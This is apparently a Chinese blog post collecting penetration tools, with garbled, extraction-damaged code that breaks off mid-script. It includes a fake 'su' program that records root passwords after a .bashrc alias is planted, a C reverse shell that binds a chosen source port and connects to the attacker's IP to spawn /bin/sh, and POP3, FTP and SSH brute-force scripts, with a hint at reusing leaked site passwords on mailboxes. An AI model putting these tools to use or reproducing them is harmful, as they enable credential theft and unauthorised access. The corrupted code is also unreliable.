[91ri]渗透⽤的Python⼩脚本
0x00
渗透的很多时候,到的⼯具并不适⽤,⾃⼰码代码才是王道,下⾯三个程序都是渗透时在⽹络上不到合适⼯具,⾃⼰⾟苦开发的,短⼩使⽤,求欣赏,求好评。
0x01
记录root密码⼩⼯具
root.py
1#!/usr/bin/python
2import os, sys, getpass, time
3
4 current_time = time.strftime("%Y-%m-%d %H:%M")
5 logfile="/dev/shm/.su.log"              //密码获取后记录在这⾥
6#CentOS
7#fail_str = "su: incorrect password"
8#Ubuntu
9#fail_str = "su: Authentication failure"
10#For Linux Korea                    //centos,ubuntu,korea 切换root⽤户失败提⽰不⼀样
11 fail_str = "su: incorrect password"
12try:
13    passwd = pass(prompt='Password: ');
14    file=open(logfile,'a')
15    file.write("[%s]t%s"%(passwd, current_time))  //截取root密码
16    file.write('n')
17    file.close()
18except:
19pass
20 time.sleep(1)
21print fail_str                              //打印切换root失败提⽰
渗透linux拿到低权限并提权⽆果时,将这个程序传上去,再将⼀个低权限⽤户⽬录下的.bashrc添加⼀句alias su=’/usr/root.py'; 低权限⽤户su root 后成功记录密码。密码记录路径请看脚本
0x02
设置源端⼝反弹shell
渗透某个linux服务器,反连时⽬标端⼝为888不⾏,53,80还是不⾏,
Ping了下百度可以ping通,
那真相只有⼀个
服务器变态的限制了只能某些提供已某些端⼝为源端⼝去连接外⾯
⽐如
只允许接收对80端⼝的访问数据包,并以80为源端⼝向外回复数据。
⾕歌程序⽆果,⾃⼰查了相关api后写了个。
client-port.c
1#include <stdio.h>
2#include <sys/types.h>
3#include <sys/socket.h>
4#include <netinet/in.h>
5#include <netdb.h>
6 void error(char *msg)
7 {
8        perror(msg);
9        exit(0);
10 }
11 int main(int argc, char *argv[])
12 {
13        int sockfd, portno, lportno,n;
14        struct sockaddr_in serv_addr;
15        struct sockaddr_in client_addr;
16        struct hostent *server;
17        char buffer[256];
18if (argc < 3) {
19                fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);
20                exit(0);
21        }                          //三个参数,⽬标主机,⽬标主机端⼝,本地源端⼝
22        portno = atoi(argv[2]);
23        sockfd = socket(AF_INET, SOCK_STREAM, 0);
24if (sockfd < 0)
25                error("ERROR opening socket");
26
27
28        bzero((char *) &client_addr, sizeof(client_addr));
29        lportno = atoi(argv[3]);
30        client_addr.sin_family = AF_INET;
31        client_addr.sin_addr.s_addr = INADDR_ANY;
32        client_addr.sin_port = htons(lportno);        //设置源端⼝
33if (bind(sockfd, (struct sockaddr *) &client_addr,
34                                sizeof(client_addr)) < 0)
35                error("ERROR on binding");
36
37        server = gethostbyname(argv[1]);
38if (server == NULL) {
39                fprintf(stderr,"ERROR, no such host ");
40                exit(0);
41        }
42        bzero((char *) &serv_addr, sizeof(serv_addr));
43        serv_addr.sin_family = AF_INET;
44        bcopy((char *)server->h_addr,
45                        (char *)&serv_addr.sin_addr.s_addr,
46                        server->h_length);
47        serv_addr.sin_port = htons(portno);
48if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)  //连接
49                error("ERROR connecting");
50  dup2(fd, 0);
51  dup2(fd, 1);
52  dup2(fd, 2);
53  execl("/bin/sh","sh -i", NULL);                        //执⾏shell
54  close(fd);
55 }
⽤法:
1 gcc client-port.c -o port
1 chmod +x port
1 ./port  你的IP 你的监听端⼝本地的源端⼝
成功反弹shell 提权成功
0x03 邮箱爆破脚本
某个时候需要爆破⼀批邮箱
Burp163.pl
1#!/usr/bin/perl
2 use Net::POP3;
3 $email="pop.163";          //设置pop服务器地址 qq为pop.qq
4 $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. "); 5print $pop->banner();
6 $pop->quit;
7 $i=0;
8 open(fp1,"");
9 @array1=<fp1>;
10 open(fp2,"");
11 @array2=<fp2>;                    //从⽂件中获取邮箱⽤户名及密码
12 foreach $a(@array1) {
13 $u=substr($a,0,length($a)-1);
14 $u=$u."@163";
15 foreach $b(@array2) {
16 $p=substr($b,0,length($b)-1);
17print"cracked with ".$u."-----".$p."n";
18 $i=$i+1;
19 $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
20 $m=$pop->login($u,$p);              //尝试登录邮箱
21if($m>0)
22 {
23print $u."------------".$p."----"."success"."n";
24  $pop->quit;
25 }                                //成功登录
26else
27 {
28print $u."------------".$p."----"."failed"."n";
29  $pop->quit;                                    //登录失败
30 }
31 }
32 }
⽤法将要爆破的邮箱的pop服务器写⼊下⾯这⼀⾏默认是163邮箱
1 $email="pop.163";
再将去除掉@后⾯部分的邮箱地址⽐如lusiyu@163 去除后lusiyu存进去
同⽬录中吗,再将字典存进去
你会说
这个有点鸡肋吧万⼀邮箱的密码很复杂
呵呵
搞到了⼀个⼩站的数据,
⽤这个程序批量测试密码是否就是邮箱密码呵呵
我啥都没说。
0x04
这三个程序仅供技术研究,如读者⽤于违法⾏为,本⼈概不负责。
0x01
FTP暴⼒破解脚本
1#!/usr/bin/env python
2#-*-coding = utf-8-*-
3#author:@xfk
4#blog:@blog.sina/kaiyongdeng
5#date:@2012-05-08
6
7import sys, os, time
8from ftplib import FTP
9 docs = """
10          [*] This was written for educational purpose and pentest only. Use it at your own risk.
11          [*] Author will be not responsible for any damage!
12          [*] Toolname : ftp_bf.py
13          [*] Coder :
14          [*] Version : 0.1
15          [*] eample of use : python ftp_bf.py -t ftp.server - -
16"""
17
18if sys.platform == 'linux'or sys.platform == 'linux2':
19    clearing = 'clear'
20else:
21    clearing = 'cls'
22 os.system(clearing)
23 R = "\033[31m";
24 G = "\033[32m";
25 Y = "\033[33m"
26 END = "\033[0m"
27def logo():
28print G+"\n |---------------------------------------------------------------|"
29print" | |"
30print" | blog.sina/kaiyongdeng |"
31print" | 08/05/2012 ftp_bf.py v.0.1 |"
32print" | FTP Brute Forcing Tool |"
33print" | |"
34print" |---------------------------------------------------------------|\n"
35print" \n [-] %s\n" % time.strftime("%X")
36print docs+END
37
38def help():
39print R+"[*]-t, --target ip/hostname <> Our target"
40print"[*]-u, --usernamelist usernamelist <> usernamelist path"
当前页面脚本发生错误41print"[*]-p, --passwordlist passwordlist <> passwordlist path"
42print"[*]-h, --help help <> print this help"
43print"[*]Example : python ftp_bf -t ftp.server - -"+it(1) 44
45def bf_login(hostname,username,password):
46# sys.stdout.write("\r[!]Checking : %s " % (p))
47# sys.stdout.flush()
49        ftp = FTP(hostname)
50        ftp.login(hostname,username, password)
51        lines('list')
52        ftp.quit()
53print Y+"\n[!] w00t,w00t We did it ! "
54print"[+] Target : ",hostname, ""
55print"[+] User : ",username, ""
56print"[+] Password : ",password, ""+END
57return 1
58# it(1)
59except Exception, e:
60pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END
61    it(1)
62
63def anon_login(hostname):
64try:
65print G+"\n[!] Checking for anonymous login.\n"+END
66        ftp = FTP(hostname) ftp.login()
67        lines('LIST')
68print Y+"\n[!] w00t,w00t Anonymous login successfuly !\n"+END
69        ftp.quit()
70except Exception, e:
71print R+"\n[-] Anonymous \n"+END
72pass
73
74def main():
75    logo()
76try:
77for arg in sys.argv:
78if arg.lower() == '-t'or arg.lower() == '--target':
79                hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
80elif arg.lower() == '-u'or arg.lower() == '--usernamelist':
81                usernamelist = sys.argv[int(sys.argv[1:].index(arg))+2]
82elif arg.lower() == '-p'or arg.lower() == '--passwordlist':
83                passwordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
84elif arg.lower() == '-h'or arg.lower() == '--help':
85                help()
86elif len(sys.argv) <= 1:
87                help()
88except:
89print R+"[-]Cheak your parametars input\n"+END
90        help()
91
92print G+"[!] BruteForcing target ..."+END
93    anon_login(hostname)
94# print "here is ok"
95# print hostname
96try:
97        usernames = open(usernamelist, "r")
98        user = adlines()
99        count1 = 0
100while count1 < len(user):
101            user[count1] = user[count1].strip()
102            count1 +=1
103except:
104print R+"\n[-] Cheak your usernamelist path\n"+END
105        it(1)
106
107# print "here is ok ",usernamelist,passwordlist
108try:
109        passwords = open(passwordlist, "r")
110        pwd = adlines()
111        count2 = 0
112while count2 < len(pwd):
113            pwd[count2] = pwd[count2].strip()
114            count2 +=1
115except:
116print R+"\n[-] Check your passwordlist path\n"+END
117        it(1)
118
119print G+"\n[+] Loaded:",len(user),"usernames"
120print"\n[+] Loaded:",len(pwd),"passwords"
121print"[+] Target:",hostname
122print"[+] \n"+END
123for u in user: for p in pwd:
124        result = bf_login(place("\n",""),p.replace("\n",""))
125if result != 1:
126print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END 127else:
128print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END 129if not result :
130print R+"\n[-]There is no username ans password enabled in the list."
131print"[-]\n"+END
132
133if__name__ == "__main__":
134    main()
0x02
SSH暴⼒破解
1#!/usr/bin/env python
2#-*-coding = UTF-8-*-
3#author@:dengyongkai
4#blog@:blog.sina/kaiyongdeng
5
6
7import sys
8import os
9import time
10#from threading import Thread
11
12try:
13from paramiko import SSHClient
14from paramiko import AutoAddPolicy
15except ImportError:
16print G+'''
17    You need paramiko module.
18    www.lag/paramiko/
19    Debian/Ubuntu: sudo apt-get install aptitude
20        : sudo aptitude install python-paramiko\n'''+END
21    it(1)
22
23 docs =  """
24            [*] This was written for educational purpose and pentest only. Use it at your own risk.
25            [*] Author will be not responsible for any damage!
26            [*] Toolname        : ssh_bf.py
27            [*] Author          : xfk
28            [*] Version        : v.0.2
29            [*] Example of use  : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]
30"""
31
32
33if sys.platform == 'linux'or sys.platform == 'linux2':
34          clearing = 'clear'
35else:
36          clearing = 'cls'
37 os.system(clearing)
38
39
40 R = "\033[31m";
41 G = "\033[32m";
42 Y = "\033[33m"
43 END = "\033[0m"
44
45
46def logo():
47print G+"\n                  |---------------------------------------------------------------|"
48print"                |                                                              |"
49print"                |              blog.sina/kaiyongdeng                    |"
50print"                |                16/05/2012 ssh_bf.py v.0.2                    |"
51print"                |                  SSH Brute Forcing Tool                      |"
52print"                |                                                              |"
53print"                |---------------------------------------------------------------|\n"
54print" \n                      [-] %s\n" % ime()
55print docs+END
56
57
58def help():
59print Y+"        [*]-H        --hostname/ip        <>the target hostname or ip address"
60print"        [*]-P        --port            <>the ssh service port(default is 22)"
61print"        [*]-U        --usernamelist        <>usernames list file"
62print"        [*]-P        --passwordlist        <>passwords list file"
63print"        [*]-H        --help            <>show help information"
64print"        [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END
65    it(1)
66
67def BruteForce(hostname,port,username,password):
68'''
69        Create SSH connection to target
70'''
71        ssh = SSHClient()
72        ssh.set_missing_host_key_policy(AutoAddPolicy())
73try:
74            t(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)
75            status = 'ok'